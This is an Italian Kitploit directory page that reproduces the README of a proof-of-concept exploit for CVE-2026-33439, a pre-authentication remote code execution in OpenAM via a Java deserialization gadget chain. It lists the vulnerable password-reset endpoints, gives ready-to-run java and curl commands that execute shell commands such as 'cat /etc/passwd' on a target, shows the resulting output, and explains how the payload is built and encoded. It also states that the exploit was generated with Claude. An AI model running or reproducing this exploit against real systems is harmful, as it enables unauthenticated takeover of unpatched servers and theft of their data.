Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33439-PoC — Exploit per RCE pre-autenticazione di OpenAM (CVE-2026-33439) che utilizza una catena di gadget di deserializzazione Java per eseguire comandi e restituire l'output direttamente nella risposta HTTP. | Kitploit
Strumenti/GitHubGitHub/ibonok/cve-2026-33439-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

Exploit per RCE pre-autenticazione di OpenAM (CVE-2026-33439) che utilizza una catena di gadget di deserializzazione Java per eseguire comandi e restituire l'output direttamente nella risposta HTTP.

Vedi Repository
21104 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33439 — RCE Pre-Auth OpenAM (Modalità Echo)

Output dei comandi direttamente nella risposta HTTP — nessuna esfiltrazione DNS o OOB necessaria.

Utilizza com.iplanet.jato.RequestManager.getRequestContext() per accedere alla richiesta/risposta JATO ThreadLocal attiva durante la deserializzazione. Funziona su Java 21+ dove le tecniche classiche di echo Tomcat (attraversamento Thread.target / ThreadGroup.threads) falliscono.

Prerequisiti

  • JDK 11+ (serve javac per la compilazione del translet a runtime)
  • OpenAM target con click-nodeps-2.3.0.jar e xalan-2.7.x.jar nel classpath

Endpoint Vulnerabili Confermati

EndpointOutput Echo
/sso/ui/PWResetUserValidationHTTP 200, output del comando nel body
/sso/ui/PWResetQuestionHTTP 200, output del comando nel body
/sso/ui/PWResetSuccessHTTP 200, output del comando nel body

Testati anche ma senza output echo (la deserializzazione si attiva comunque):

  • /sso/ui/PWResetInvalidURL — pagina di errore restituita
  • /sso/ui/PWResetUncaughtException — pagina di errore restituita

Build

root@kitploit:~
./build.sh

Utilizzo

Il JAR aggiunge automaticamente i flag JVM --add-opens — non è necessario specificarli manualmente.

root@kitploit:~
# Tutto-in-uno: genera payload + invia + mostra output (proxy tramite Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Senza proxy Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# Genera payload riutilizzabile (il comando arriva dall'header 'cmd' al momento della richiesta)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

Risultati Confermati (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

Come Funziona

  1. Genera un payload di deserializzazione PriorityQueue (catena gadget Click1 + Xalan TemplatesImpl)
  2. Il bytecode del translet chiama RequestManager.getRequestContext() per ottenere la richiesta/risposta JATO attiva
  3. Legge l'header HTTP cmd, esegue sh -c <cmd>, scrive stdout+stderr su response.getOutputStream()
  4. Il payload è codificato come Base64 in formato OpenAM (prefisso \x00 + Base64 URL-safe, senza padding)
  5. Inviato a /sso/ui/PWResetUserValidation?jato.clientSession=<payload> (non autenticato)

Struttura delle Directory

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # JAR exploit
  build.sh                   # Script di build
  MANIFEST.MF                # Manifest JAR
  README.md                  # Questo file
  lib/                       # Dipendenze (devono restare accanto al JAR)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # Codice sorgente

Fix

Corretto nel commit OpenAM 014007c63cacc834cc795a89fac0e611aebc4a32 — aggiunge il filtro delle classi a ObjectInputStream in SessionEncodeURL.readSessionID().

Varie:

Il PoC è stato creato usando Claude; il prompt era il write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) e il commit Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

Scarica lo strumento